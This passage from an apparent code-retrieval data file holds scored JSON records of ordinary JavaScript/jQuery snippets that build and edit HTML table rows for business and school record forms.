\t\tjQuery('#codProveedor').val(aoData.codProveedor);\n\t\t \t\t jQuery('#busquedaProveedores').submit(); \t\t\t\n\t\t \t}\n\t\t\t });\n\t\t }\n\t var claseActual = '';\n\t\t jQuery(nRow).bind({\n\t\t \t//Cambio de color de la fila al pasar el ratón\n\t\t \tmouseenter : function() {\n\t \t\tclaseActual = jQuery(this).attr('class');\n\t \t\tjQuery(this).removeClass();\n\t \t\tjQuery(this).addClass(\"resaltar\");\n\t \t\t\n\t \t\tif (data.codProveedor.substring (0,1) == \"*\" || data.codProveedor.substring (0,1) == \"#\")\n\t \t\t\tjQuery (this).attr(\"style\", \"cursor:default\");\n\t \t},\n\t \t//Cambio de color de la fila al pasar el ratón\n\t \tmouseleave : function() {\n\t \t\tjQuery(this).removeClass();\n\t \t\tjQuery(this).addClass(claseActual); \t\t\n\t \t}\n\t\t });\n\t\t};\n\n var listadoProveedores = jQuery('#listadoProveedores').myDataTable(objectDataTable);\t\n}", "title": "" }, { "docid": "623d60ca44b2a346f825a19fe7f96c68", "score": "0.5914182", "text": "function addRouteRecordToTable(data) {\n var Routeslist = document.getElementById(\"Routeslist\").getElementsByTagName(\"tbody\")[0];\n var newRecord =Routeslist.insertRow(Routeslist.length);\n\n var cell1 = newRecord.insertCell(0);\n cell1.innerHTML = data.Routeid;\n var cell2 = newRecord.insertCell(1);\n cell2.innerHTML = data.Route_name;\n var cell3 = newRecord.insertCell(2);\n cell3.innerHTML = data.Status;\n var cell4 = newRecord.insertCell(3);\n cell4.innerHTML = '<a onclick=\"onRouteEdit(this)\">Edit</a>'; \n}", "title": "" }, { "docid": "b909266ee5d315e112b3431b4bb983dc", "score": "0.59118915", "text": "function renderContent(data){\n\t\tdata = jQuery.parseJSON(data);\n\t\tjQuery(\"#endorse-listings table\").html(\"\");\n\t\tjQuery.each(data, function(i, item){\n\t\t\n\t\t\tvar row = \"<tr>\";\n\t\t\trow+=(\"<td class='td_info'><a href='#' class='delete_endorsement' id='delete_endorsement_\"+item.userid+\"'><img src='../images/action_delete.gif' border='0'/></a></td>\");\n\t\t\trow+=(\"<td class='td_info' width='30%'><a href='#' class='view_profile' id='view_profile_\"+item.userid+\"'>\"+item.firstName+\"</a></td>\");\n\t\t\t\n\t\t\tvar skills = \"\";\n\t\t\tif (item.skills!=undefined){\n\t\t\t\tfor (var i=0;i<item.skills.length-2;i++){\n\t\t\t\t\tif (item.skills[i]!=undefined){\n\t\t\t\t\t\tskills+=(item.skills[i].skill)+\", \";\t\t\n\t\t\t\t\t}\n\t\t\t\t}\t\n\t\t\t\tif (item.skills[item.skills.length-1]!=undefined){\n\t\t\t\t\tskills+=item.skills[item.skills.length-1].skill;\t\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tskills+=\"&nbsp;\"\n\t\t\t}\n\t\t\n\t\t\trow+=(\"<td class='td_info' width='70%'>\"+skills+\"</td>\");\n\t\t\trow+=\"</tr>\";\n\t\t\tjQuery(row).appendTo(\"#endorse-listings table\").fadeIn(100);\n\t\t\t\n\t\t});\n\t\t\n\t}", "title": "" }, { "docid": "8c7cd71cf3d461ebede0ca8d034a0127", "score": "0.59115994", "text": "function Send() {\t\t\t\t\n\t\tvar name = $('#txt_name').val();\n\t\tvar email = $('#txt_email').val();\n\t\tvar phone = $('#txt_phone').val();\n\t\tvar content =$('#txt_content').val();\n\t\tvar postData = \"&name=\"+name+\"&email=\"+email+\"&phone=\"+phone+\"&content=\"+content;\t\t\t\n\t\tif (name != '' && email != '' && phone != '' && content != ''){\n\t\t\t$.ajax({\n\t\t\t\turl: \"process.php\",\n\t\t\t\ttype: \"POST\",\n\t\t\t\tdata: postData\n\t\t\t})\n\t\t\t.done(function(response){\n\t\t\t\t\n\t\t\t\tvar t = JSON.parse(response);\n\t\t\t\t\t// Step 1: Get variable data from reponse \n\t\t\t\t\t// Step 2: Write HTML code\n\t\t\t\t\tvar html_content = \"<tr><td class = 'c_id'>\" + t.id + \n\t\t\t\t\t\"</td><td class = 'c_Name'>\" + t.name +\n\t\t\t\t\t\"</td><td class = 'c_Email'>\" + t.email +\n\t\t\t\t\t\"</td><td class = 'c_Phone'>\" + t.phone +\n\t\t\t\t\t\"</td><td class = 'c_Content'>\" + t.content +\n\t\t\t\t\t\"</td><td><a class='editable' href='#'>Edit</a> <a class='edit' href='#'>Delete</a></td></tr>\";\n\t\t\t\t\t//var $row = document.createElement(html_content);\n\t\t\t\t\t//$(html_content).insertBefore('table > tbody');\n\t\t\t\t\t$(\"#myTable tbody\").prepend(html_content);\t\t\t\t\n\t\t\t\t\t$('#id01').modal('hide');\n\t\t\t\t\t//modal.modal('toggle');\n\t\t\t\t})\n\t\t\t.fail(function(jqXHR, textStatus, errorThrown){\t\t\t\t\n\t\t\t\t// console.log(jqXHR);\n\t\t\t\t// console.log(textStatus);\n\t\t\t\t// console.log(errorThrown);\n\t\t\t\tcheck_err_server(jqXHR.responseText);\n\t\t\t\t//alert(jqXHR.responseText);\n\t\t\t\t//alert(\"Fail\");\t\t\t\n\t\t\t});\n\t\t}\t\t\n\t}", "title": "" }, { "docid": "ad561e819b6a890f8674e16af773aa7e", "score": "0.590967", "text": "function bindTable()\n {\n \tvar RowNoForAddEdit;\n \t\n \tif(isEdit == true)\n \t{\n \t\tRowNoForAddEdit = editRowNo; \n \t}\n \telse\n \t{ \t\t\n \t\tRowNo = RowNo + 1; \t\t\n \t\tRowNoForAddEdit = RowNo;\n \t} \t\n \t\n \tvar Shape =$(\"#drpShape\").find(\"option:selected\").text(); \n \t\n \tvar Profile = $(\"#drpProfile\").find(\"option:selected\").text(); \t\t\t\n \tvar MaterialGrade = $(\"#drpMaterialGrade\").find(\"option:selected\").text(); \n \t\n \tvar Quantity = $(\"#txtQuantity\").val(); \n \tvar LengthInFeet = $(\"#txtLengthInFeet\").val(); \n \tvar LengthInInch = $(\"#drpLengthInInch\").find(\"option:selected\").text(); \n \tvar LengthInFraction = $(\"#drpLengthInFraction\").find(\"option:selected\").text(); \n \t\n \tvar TotalLength = feetInchFormater(LengthInFeet, LengthInInch , LengthInFraction);\n \t\n \tvar ConnectionType = $(\"#ddlConnectionTypeRafter\").find(\"option:selected\").text(); \n \t\n \tvar ClipAngleProfile = \"\", WeldType = \"\" ,WeldSize = \"\" ;\n \t\n \tif(ConnectionType == \"Clip Angle\")\n \t\t{\n \t\t\tClipAngleProfile = $(\"#drpClipAngleProfile\").find(\"option:selected\").text(); \n \t\t\t\n \t\t\tWeldType = $(\"#drpWeldType\").find(\"option:selected\").text(); \n \tWeldSize = $(\"#drpWeldSize\").val() == \"\" ? \"\" : $(\"#drpWeldSize\").find(\"option:selected\").text() + '\"';\n \t\t}\n \telse if(ConnectionType == \"Shear Plate\" || ConnectionType == \"End Plate\" )\n \t\t{\n \t\t\tClipAngleProfile = $(\"#drpSharePlateThickness\").find(\"option:selected\").text(); \n \t\t\t\n \t\t\tif(ConnectionType == \"Shear Plate\")\n \t\t\t\tClipAngleProfile = \"PL\"+ ClipAngleProfile + '\"X3 1/2\"';\n \t\t\telse if(ConnectionType == \"End Plate\")\n \t\t\t\tClipAngleProfile = \"PL\"+ ClipAngleProfile + '\"X8 1/2\"';\n \t\t\t\n \t\t\tWeldType = $(\"#drpWeldType\").find(\"option:selected\").text(); \n \tWeldSize = $(\"#drpWeldSize\").val() == \"\" ? \"\" : $(\"#drpWeldSize\").find(\"option:selected\").text() + '\"';\n \t\t}\n \t\n \tvar BoltGrade = $(\"#drpBoltGrade\").find(\"option:selected\").text(); \n \tvar NoOfBoltRows = $(\"#drpNoOfBoltRows\").find(\"option:selected\").text(); \n \tvar BoltDia = $(\"#drpBoltDia\").find(\"option:selected\").text() + '\"'; \n \t\n \t\n \tvar ReferenceDrawing = $(\"#drpReferenceDrawing\").val(); \n \t\n \tvar FeetVal = LengthInFeet * 12;\n \tvar InchVal = $(\"#drpLengthInInch\").val();\n \tvar FractionVal = $(\"#drpLengthInFraction\").val();\n \t\n \tvar ProfileWeight = $(\"#drpProfile\").val().split(',');\n \t\n \tvar Total_Length = parseFloat(FeetVal) + parseFloat(InchVal) + parseFloat(FractionVal);\n \t\n \tvar MemberWeight_Lbs = (Total_Length * parseFloat(ProfileWeight[0]))/12;\n \t\n \tvar MemberWeight_Tons = MemberWeight_Lbs/2000; \n \t\n \tvar Total_Member_Weight_Lbs = (MemberWeight_Lbs * parseInt(Quantity));\n \t\n \tvar Total_Member_Weight_Tons =(MemberWeight_Tons * parseInt(Quantity));\n \t\n \t \t\n \tif(isEdit == true)\n \t{\n \t\t$('#tableRafterBeam').dataTable().fnUpdate(\n \t\t\t['<label class=\"custom-control custom-checkbox\" >'+\n \t\t\t\t\t\t'<input id=\"chkRow'+ RowNoForAddEdit +'\" type=\"checkbox\" name=\"selectAll\" class=\"custom-control-input cci-select\" onclick=\"getrows()\">'+\n \t\t\t\t\t\t'<span class=\"custom-control-indicator\"></span>'+\n \t\t\t\t\t\t'<span class=\"custom-control-description labelblk\"></span></label>',\n \t\t\t RowNoForAddEdit, Shape,\n \t\t\t Profile, MaterialGrade,\n \t\t\t TotalLength, Quantity,\n \t\t\t Total_Member_Weight_Lbs.toFixed(3), Total_Member_Weight_Tons.toFixed(3), \t\t\t \t\t\t \n \t\t\t ConnectionType, ClipAngleProfile,\n \t\t\t BoltGrade, BoltDia, \t\t\t \n \t\t\t NoOfBoltRows, WeldType, WeldSize,\n \t\t\t LengthInFeet,LengthInInch,LengthInFraction,\n \t\t\t ReferenceDrawing,$(\"#drpWeldSize\").val(),$(\"#drpBoltDia\").val()], document.getElementById(\"row\" + editRowNo));\n \t\n \t}\n \telse\n \t{\n \tvar DataRow = '<tr id=\"row' + RowNoForAddEdit +'\"><td class=\"text-center\">'+\n\t\t\t\t\t\t\t\t'<label class=\"custom-control custom-checkbox\" >'+\n\t\t\t\t\t\t\t\t'<input id=\"chkRow'+ RowNoForAddEdit +'\" type=\"checkbox\" name=\"selectAll\" class=\"custom-control-input cci-select\" onclick=\"getrows()\">'+\n\t\t\t\t\t\t\t\t'<span class=\"custom-control-indicator\"></span>'+\n\t\t\t\t\t\t\t\t'<span class=\"custom-control-description labelblk\"></span></label>'+\n\t\t\t\t\t\t\t '</td>' +\n\t\t\t\t\t '<td>'+ RowNoForAddEdit + '</td>' +\n\t\t\t\t\t '<td>'+ Shape + '</td>' +\n\t\t\t\t\t '<td>'+ Profile + '</td>'+\n\t\t\t\t\t '<td>'+ MaterialGrade + '</td>'+\n\t\t\t\t\t '<td>'+ TotalLength + '</td>'+\n\t\t\t\t\t '<td>'+ Quantity + '</td>'+\n\t\t\t\t\t '<td>'+ Total_Member_Weight_Lbs.toFixed(3) +'</td>' + \n\t\t\t\t\t\t\t '<td>'+ Total_Member_Weight_Tons.toFixed(3) +'</td>'+\t\n\t\t\t\t\t '<td>'+ ConnectionType + '</td>' +\t\t\t\t \n\t\t\t\t\t \t '<td>'+ ClipAngleProfile + '</td>' +\t\n\t\t\t\t\t \t '<td>'+ BoltGrade + '</td>' + \n\t\t\t\t\t\t\t '<td>'+ BoltDia + '</td>' +\n\t\t\t\t\t\t\t '<td>'+ NoOfBoltRows + '</td>' + \n\t\t\t\t\t\t\t '<td>'+ WeldType + '</td>' +\n\t\t\t\t\t\t\t '<td>'+ WeldSize + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ LengthInFeet + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ LengthInInch + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ LengthInFraction + '</td>' + \n\t\t\t\t\t\t\t '<td>'+ ReferenceDrawing + '</td>' +\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ $(\"#drpWeldSize\").val() + '</td>' + \n\t\t\t\t\t\t\t '<td style=\"display:none;\">'+ $(\"#drpBoltDia\").val() + '</td>' + \n\t\t\t\t\t\t '</tr>' ;\n\t\t\t\t\n \trafterBeamtable.row.add($(DataRow)).draw(false);\n \t}\n \t\n \tconstructJsonArrayFromTable();\n \t\n \tisEdit = false;\n \t$('.addTR').text('Add');\n \t\n }", "title": "" }, { "docid": "0e82d00d03c20a2f3486c84be1f3838d", "score": "0.59058803", "text": "function Edit(body, table) {\n //Tomando desde el boton de edicion\n\t\t$(body).on(\"click\", \"a.editar\", function() {\n //Guardamos los datos que tomamos del datatable\n var datos = table.row($(this).parents(\"tr\")).data();\n // Removemos las posibles clases de validacion que pueda tener el fomr\n $('.form-group').removeClass('has-error has-success')\n $('.text-danger, .editFile').remove()\n\t\t\t// Asignamos titulo al form y al boton\n $('.titulo').html('Editar')\n // Asignamos las accion que realiza el metodo del servidor\n $(\"#Opcion\").val(\"editar\");\n //Asignamos los valores de cada input para que se muestren en el form\n\t\t\tvar id = $(\"#Id\").val(datos.id),\n\t\t\t\t titulo = $(\"#Titulo\").val(datos.titulo),\n\t\t\t\t descripcion = $(\"#Descripcion\").val(datos.descripcion),\n imagen = $(\"#Imagen\").val(datos.imagen);\n // Ocultamos el input file en la edicion\n $('#ocultaFile').hide();\n // Mostramos el nombre y la imagen del slide a editar\n $('#showImagen').addClass('has-error')\n .append('<img src=\"'+UrlBase+'assets/images/slider/'+datos.imagen+'\" width=\"300\" height=\"225\" class=\"img-thumbnail editFile\" /> <p class=\"help-block editFile\">'+datos.imagen+'</p>').show();\n //Abrimos el modal\n\t\t\t$(\"#modalSlide\").modal(\"show\");\n });//click\n \n }//funcion", "title": "" }, { "docid": "cfcf1b9dbc7b7a1e39af461f6c1d6033", "score": "0.5901312", "text": "function edit(id) {\n let obj = entries[id];\n obj.firstName = $(\"#firstName\").val();\n obj.lastName = $(\"#lastName\").val();\n obj.phone = $(\"#phone\").val();\n obj.civility = $(\"#civility\").val();\n showForm();\n cardDisplay(id);\n display();\n }", "title": "" }, { "docid": "5c4175ccba85797ddf9bbe7f93ffe216", "score": "0.5899574", "text": "function populateDataForEdit(selectedrowid)\n\t\t{\n\t\t\tvar table = $(\"#tableHandrails tbody\");\n\t\t\ttable.find('tr').each(function (i) \n\t\t {\n\t\t var $tds = $(this).find('td'), \n\t\t\t\t rowid = $tds.eq(1).text();\n\t\t \n\t\t if(rowid == selectedrowid)\n\t\t {\n\t\t \teditRowNo = selectedrowid;\n\t\t \t\t\t \t\n\t\t \tvar $tds = $(this).find('td'), \n\t\t\t\t \tShape = $tds.eq(2).text(),\n\t\t\t HandRailProfile = $tds.eq(3).text(),\n\t\t\t HandRailPostProfile = $tds.eq(4).text(),\n\t\t\t MaterialGrade = $tds.eq(5).text(),\n\t\t\t HandRailLength = $tds.eq(6).text(),\n\t\t\t PostSpacingLength = $tds.eq(7).text(),\n\t\t\t Quantity = $tds.eq(8).text(),\t\n\t\t\t MemberWeightlbs = $tds.eq(9).text(),\n\t\t\t\t\t MemberWeightTons = $tds.eq(10).text(), \n\t\t\t\t\t EndReturnType = $tds.eq(11).text(), \n\t\t\t\t\t \n\t\t\t\t\t ConnectionType = $tds.eq(12).text(),\n\t\t\t\t\t ConnectionMemberProfile = $tds.eq(13).text(),\t\n\t\t\t\t\t BoltGrade = $tds.eq(14).text(),\n\t\t\t\t\t BoltDia = $tds.eq(15).text(), \n\t\t\t\t\t NoOfBoltRows = $tds.eq(16).text(),\n\t\t\t\t\t WeldType = $tds.eq(17).text(),\n\t\t\t\t\t WeldSize = $tds.eq(18).text(), \n\t\t\t\t\t ReferenceDrawing = $tds.eq(19).text(), \n\t\t\t\t\t \n\t\t\t\t\t HandRailLengthInFeet = $tds.eq(20).text(),\n\t\t\t\t\t HandRailLengthInInch = $tds.eq(21).text()== \"\" ? \"0\" : $tds.eq(21).text(), \n\t\t\t\t\t HandRailLengthInFraction = $tds.eq(22).text()== \"\" ? \"0\" : $tds.eq(22).text(),\n\t\t \n\t\t\t\t\t PostSpacingInFeet = $tds.eq(23).text(), \n\t\t PostSpacingInInch = $tds.eq(24).text()== \"\" ? \"0\" : $tds.eq(24).text(),\n\t\t PostSpacingInFraction = $tds.eq(25).text()== \"\" ? \"0\" : $tds.eq(25).text();\n\t\t \t\n\t\t \t\t \t\n\t\t \t$('#drpShape').val(getOptId('drpShape', Shape));\n\t\t \t\n\t\t \t$(\"#drpShape\").trigger(\"change\");\t\t \t\n\t\t \t$('#drpHandRailProfile').val(getOptId('drpHandRailProfile', HandRailProfile)).change();\t\t \t\n\t\t \t$('#drpHandRailPostProfile').val(getOptId('drpHandRailPostProfile', HandRailPostProfile)).change();\t\t \n\t\t \t$('#drpMaterialGrade').val(MaterialGrade).trigger('change');\t\t \t\n\t\t \t\n\t\t \t$('#drpEndReturnType').val(getOptId('drpEndReturnType', EndReturnType));\t\t \t\n\t\t \t$('#txtQuantity').val(Quantity);\t\t \t\n\t\t \t$('#txtHandRailLengthInFeet').val(HandRailLengthInFeet);\t\t \t\n\t\t \t$('#drpHandRailLengthInInch').val(getOptId('drpHandRailLengthInInch', HandRailLengthInInch)); \t\n\t\t \t\n\t\t \t$('#drpHandRailLengthInFraction').val(getOptId('drpHandRailLengthInFraction', HandRailLengthInFraction));\t\t \t\n\t\t \t$('#txtPostSpacingLengthInFeet').val(PostSpacingInFeet);\t\t \t\n\t\t \t\n\t\t \t$('#drpPostSpacingLengthInInch').val(getOptId('drpPostSpacingLengthInInch', PostSpacingInInch));\t\t \t\n\t\t \t$('#drpPostSpacingLengthInFraction').val(getOptId('drpPostSpacingLengthInFraction', PostSpacingInFraction));\t\t \t\n\t\t \t$('#ConnectionTypeHandR').val(getOptId('ConnectionTypeHandR', ConnectionType));\t\t \t\n\t\t \t$(\"#ConnectionTypeHandR\").trigger(\"change\");\n\t\t \t\n\t\t \tif(ConnectionType == \"Clip Angle\" || ConnectionType == \"WT\")\n\t\t \t{\n\t\t\t \t\t \t\t\n\t\t \t\t$('#drpClipAngleProfile').val(getOptId('drpClipAngleProfile', ConnectionMemberProfile)).change();\n\t\t \t\t$('#drpClipAngleBoltGrade').val(getOptId('drpClipAngleBoltGrade', BoltGrade)).change();\t\t \t\t\n\t\t \t\t$('#drpClipAngleNoOfBoltRows').val(getOptId('drpClipAngleNoOfBoltRows', NoOfBoltRows));\n\t\t \t\t$('#drpClipAngleBoltDia').val(getOptId('drpClipAngleBoltDia', BoltDia.replace('\"','')));\n\t\t \t\t$('#drpClipAngleWeldType').val(getOptId('drpClipAngleWeldType', WeldType));\t\t\n\t\t \t\t$(\"#drpClipAngleWeldType\").trigger(\"change\");\n\t\t \t\t$('#drpClipAngleWeldSize').val(getOptId('drpClipAngleWeldSize', WeldSize.replace('\"',''))).change();\n\t\t \t}\n\t\t \telse if(ConnectionType == \"Directly Welded\")\n\t\t \t{\n\t\t \t\t\t\t \t\t\n\t\t \t\t$('#drpDirectlyWeldedWeldType').val(getOptId('drpDirectlyWeldedWeldType', WeldType));\t\n\t\t \t\t$(\"#drpDirectlyWeldedWeldType\").trigger(\"change\");\n\t\t \t\t$('#drpDirectlyWeldedWeldSize').val(getOptId('drpDirectlyWeldedWeldSize', WeldSize.replace('\"',''))).change();\n\t\t \t}\n\t\t \t\n\t\t \telse if(ConnectionType == \"End Plate\")\n\t\t \t{\n\t\t \t\t\n\t\t \t\t$('#drpEndPlateThickness').val(getOptId('drpEndPlateThickness', ConnectionMemberProfile.replace(\"PL\",\"\").replace('\"X8 1/2\"',''))).change();\t\t \t\t\t\t \t\t\n\t\t \t\t$('#drpEndPlateBoltGrade').val(getOptId('drpEndPlateBoltGrade', BoltGrade)).change();\t\t\t \t\n\t\t \t\t$('#drpEndPlateNoOfBoltRows').val(getOptId('drpEndPlateNoOfBoltRows', NoOfBoltRows));\t\t\t \t\n\t\t \t\t$('#drpEndPlateBoltDia').val(getOptId('drpEndPlateBoltDia', BoltDia.replace('\"','')));\t\t\t \t\n\t\t \t\t$('#drpEndPlateWeldType').val(getOptId('drpEndPlateWeldType', WeldType));\t\n\t\t \t\t$(\"#drpEndPlateWeldType\").trigger(\"change\");\n\t\t \t\t$('#drpEndPlateWeldSize').val(getOptId('drpEndPlateWeldSize', WeldSize.replace('\"',''))).change();\t\t\t \t\n\t\t \t}\n\t\t \t\n\t\t \tvar drawings = ReferenceDrawing.split(\",\");\t \t\n\t\t \t$(\"#drpReferenceDrawing\").val(drawings).trigger(\"change\");\t\n\t\t \t\n\t\t }\n\t\t });\n\t\t\t\n\t\t}", "title": "" }, { "docid": "42cff48300c012502e89bfedaf624d3e", "score": "0.58985585", "text": "handleCellEdit(event){\n this.isEdited = true;\n let resp = event.detail;\n this.tableData2Display[resp.rowIndex].mode = 'edit';\n this.setupPages();\n }", "title": "" }, { "docid": "24cd7f52c47c17489926a952f65f388f", "score": "0.5896015", "text": "function atualizaTabelaGestor(json)\n{ \n \n bDestroy : true, \n linha = '<tr>' + \n '<td>' + json.codigoDemanda + '</td>' +\n '<td>' + json.nomeCliente + '</td>' +\n '<td>' + json.contratoCaixa + '</td>' +\n '<td>' + json.contratoBndes + '</td>' +\n '<td>' + json.dataLote + '</td>' +\n '<td>' + json.valorOperacao.replace(\".\", \",\").replace(/(\\d)(?=(\\d{3})+(?!\\d))/g, \"$1.\") + '</td>' +\n '<td>' + json.tipoOperacao.replace(\"A\",\"AMORTIZAÇÃO\").replace(\"L\",\"LIQUIDAÇÃO\") + '</td>' +\n '<td>' + json.status.replace(\"GESTOR RESIDUO SIFBN\",\"RESIDUO SIFBN\")\t\t + '</td>' +\n '<td>'\t+\t\t\t\t\n '<button class=\"btn btn-info btn-xs tip visualiza fa fa-binoculars center-block\" id=\"botaoCadastrar\" onclick =\"visualizaDemanda(\\'' + json.codigoDemanda + '\\')\" ></button> ' + \n '</td>' +\n '<td>'\t+\t\t\t\t\n '<button class=\"btn btn-warning btn-xs tip edita fa fa-edit center-block\" id=\"botaoEditar\" onclick =\"editarContrato(\\'' + json.codigoDemanda\t+ '\\')\" ></button> ' + \n '</td>' +\n '</tr>';\n return linha;\n}", "title": "" }, { "docid": "dd2a965494984d841dc72126be854822", "score": "0.5893701", "text": "function fuCreateEditOSTable(osData) {\n\tvar str = \"\";\n\t$('#editOSContentDiv table tbody').html(\"\");\n\tfor ( var items in osData) {\n if(items != parseInt(items)) {\n continue;\n }\n\t\tvar classValue = null; \n\t\tif(items % 2 === 0){classValue='oddRow';}else{classValue='evenRow';}\n\t\tstr+='<tr class=\"'+classValue+'\">'+\n\t\t'<td class=\"row1\"><a href=\"javascript:;\" onclick=\"fnEditOSInfo(this)\" data-toggle=\"tooltip\" title=\"Edit OS\"><span class=\"glyphicon glyphicon-edit\"></span></a>&nbsp;<a href=\"javascript:;\" onclick=\"fnDeleteOSInfo(this)\" data-toggle=\"tooltip\" title=\"Delete OS\"><span class=\"glyphicon glyphicon-trash\"></span></a></td>'+\n\t\t'<td class=\"row1\" name=\"'+ escapeForHTMLAttributes(osData[items].osName) +'\" value=\"'+ escapeForHTMLAttributes(osData[items].osName) +'\" id=\"osName\">'+ getHTMLEscapedMessage(osData[items].osName) +'</td>'+\n\t\t'<td class=\"row1\" name=\"'+ escapeForHTMLAttributes(osData[items].osVersion) +'\" value=\"'+ escapeForHTMLAttributes(osData[items].osVersion) +'\" id=\"osVer\">'+ getHTMLEscapedMessage(osData[items].osVersion) +'</td>';\n\t\tvar val1 = osData[items].osDescription == undefined ? '' : osData[items].osDescription;\n\t\tstr+='<td class=\"row1\" name=\"'+ escapeForHTMLAttributes(val1) +'\" value=\"'+ escapeForHTMLAttributes(val1) +'\" id=\"osDec\">'+ getHTMLEscapedMessage(val1) +'&nbsp;</td>';\n\t}\n\t$('#editOSContentDiv table tbody').html(str);\n}", "title": "" }, { "docid": "60e47cda45d47c470702b3c7be754ac3", "score": "0.58902454", "text": "function edit_row(form_id, form_prefix, editingRow){\n row = editingRow;\n\n editInputs = get_edit_inputs(row, form_id);//form fields in the table\n fieldset = [],\n fieldset = $(get_form_fields(form_id)); // form fields\n extras = $(_edit_extras); // extra form fields\n\n i = 0;\n fieldset.each(function(){\n input = $(this);\n if(i <= editInputs.length -1){\n editInputs[i].val(input.val());\n texto = '';\n\n if(input.is(\"select\")){\n texto = input.find('option:selected').text();\n } else if(input.is(\"input\")){\n texto = input.val();\n }\n\n col = editInputs[i].parent();\n\n col.text(texto);\n col.append(editInputs[i]);\n i++;\n }; // end if i<= length\n\n action_col = row.find('.action');\n\n extras.each(function(){\n action_col.append($(this));\n });\n }); // end fieldset.each\n\n _is_editing = false;\n _editing_id = null;\n _editing_row = null;\n row.removeClass(\"info\");\n }", "title": "" }, { "docid": "34e8939d66dffd3ef784e4c462e414a1", "score": "0.5890117", "text": "function editModal(obj) {\n var data = Table.row($(obj).closest('tr')).data();\n\n //console.log(data);\n if (data != undefined && data != null) {\n $(\"#update-first-name-id\").val(data.firstName).attr('value', data.firstName);\n $(\"#update-last-name-id\").val(data.lastName).attr('value', data.lastName);\n $(\"#update-class-id\").val(data.class).attr('value', data.class);\n $(\"#update-first-name-id\").attr('data-id', data.id);\n $.each(data.subjects, function (index, val) {\n cloneSubjectElement(val, UpdateModalCode);\n })\n\n $(\"#UpdateStudentFormId\").data('StudentDetail', data).modal('show');\n }\n\n $('#updateStudent').prop('disabled', true);\n event.stopPropagation();\n\n}", "title": "" }, { "docid": "1873b09c6d1099ab5ead438a409ded2d", "score": "0.5888663", "text": "function show_record(){ \n \n $.ajax({\n url: \"poEntryRecord.htm\",\n type: \"POST\",\n\tcache: false,\n\tasync: false, \n success: function(DdNumber){ \n var result = $.parseJSON(DdNumber);\n var final = \"<div class='table-responsive'><table class='table table-custom row-border hover order-column' id='basic-usage' style='width:100% !important'>\"+ \n \"<thead>\"+ \n \"<tr><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>Buttons</th></tr></thead>\"+\n \"<thead><tr id='filterrow'><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead>\"+ \n \"<tbody id='table_body'>\";\n var slno = 1; \n $.each(result, function(k, v) {\n final = final +\"<tr class='gradeX'>\"+\n \"<td>\"+ (slno++) +\"</td>\"+\n \"<td>\"+v.poNumber+\"</td><td>\"+v.poDate+\"</td>\"+ \n \"<td>\"+v.indentor+\"</td><td>\"+v.section+\"</td>\"+\n \"<td>\"+v.supplier+\"</td><td>\"+v.remarks+\"</td>\"+\n \"<td><button type='button' class='btn btn-info btn-rounded btn-sm' \"+\n \"id='ButBut' value=\" + v.pOrderEntryID + \">Edit </button></td> \";\n \n });\n final = final + \"</tbody></table></div>\"; \n $(\"#show_table\").html(final);\n \n // Setup - add a text input to each footer cell\n $('#basic-usage thead #filterrow th').not(\":eq(7)\").each( function () {\n var title = $(this).text();\n $(this).html( '<input type=\"text\" />' );\n } );\n \n // DataTable\n var table = $('#basic-usage').DataTable({\n autoWidth: false,\n \"columns\": [\n {title: \"SL No\", width: '8%'},\n {title: \"PO NO\", width: '13%'},\n {title: \"PO Date\", width: '13%'},\n {title: \"Indenter\", width: '13%'},\n {title: \"Section\", width: '13%'},\n {title: \"Vendor\", width: '13%'},\n {title: \"Remarks\", width: '13%'},\n {title: \"Buttons\", width: '12%'},\n ],\n 'aoColumnDefs': [{\n 'bSortable': false,\n 'aTargets': [-1] /* 1st one, start by the right */\n }]\n });\n \n // Apply the search\n $(\"#basic-usage thead input\").on( 'keyup change', function () {\n table\n .column( $(this).parent().index()+':visible' )\n .search( this.value )\n .draw();\n });\n \n \n },complete: function (data) {\n //This is for append data values to form when click on edit button\n $('#basic-usage').on('click', '#ButBut', function () { \n $(\"#poeForm\")[0].reset();\n close_message();\n $.ajax({\n url: \"getPoReleaseReById.htm\",\n type: \"POST\",\n cache: false,\n async: false,\n data: ({poRelease_id: this.value}),\n success: function (htmlH) { \n var result = $.parseJSON(htmlH);\n $.each(result, function (k, v) { \n $(\"#pOrderEntryID\").val(v.pOrderEntryID);\n $(\"#poReleaseType\").val(v.poReleaseType);\n $(\"#poNumber\").val(v.poNumber);\n $('#poNumber').selectpicker('refresh');\n $(\"#date\").val(v.date); \n $(\"#poDate\").val(v.poDate); \n $(\"#scheDelDate\").val(v.scheDelDate); \n $(\"#indentRefNo\").val(v.indentRefNo); \n $(\"#indentor\").val(v.indentor);\n $('#indentor').selectpicker('refresh');\n $(\"#section\").val(v.section);\n $('#section').selectpicker('refresh');\n $(\"#supplier\").val(v.supplier);\n $('#supplier').selectpicker('refresh');\n $(\"#itemsCovered\").val(v.itemsCovered);\n $(\"#remarks\").val(v.remarks);\n $(\"#poValue\").val(v.poValue);\n $(\"#poValPaid\").val(v.poValPaid);\n $(\"#currencyType\").val(v.currencyType);\n $(\"#currencyCode\").val(v.currencyCode);\n $(\"#headOfAccount\").val(v.headOfAccount);\n $('#headOfAccount').selectpicker('refresh');\n $(\"#placeOfDel\").val(v.placeOfDel);\n $(\"#paymentTerms\").val(v.paymentTerms);\n $(\"#payingAuthority\").val(v.payingAuthority);\n });\n $(\"#hide_show\").show();\n $(\"#form_record\").hide();\n $(\"#form_page\").show();\n $(\"#updateDiv\").css(\"display\", \"block\");\n $(\"#saveDdNumber\").css(\"display\", \"none\");\n $(window).scrollTop(0);\n $(\"#puitemstale\").hide();\n }, error: function (jqXHR, textStatus, errorThrown) {\n alert(\"Error :\" + jqXHR.status + \", \" + errorThrown);\n }, complete: function (data) {\n\n }\n });\n\n });\n \n\n }\n\t}); \n }", "title": "" }, { "docid": "87739ae01c2faf5744cbd408aafe0e92", "score": "0.5885952", "text": "function buildHtmlTable(myJson,selector) {\n var columns = getAllColumnHeaders(myJson);\n columns.push('modify')\n columns.push('delete')\n columns.push('borrow')\n $(selector).append('<th scope=\"col\">Titre</th><th scope=\"col\">Date de publication</th><th scope=\"col\">Description</th><th scope=\"col\">État</th><th 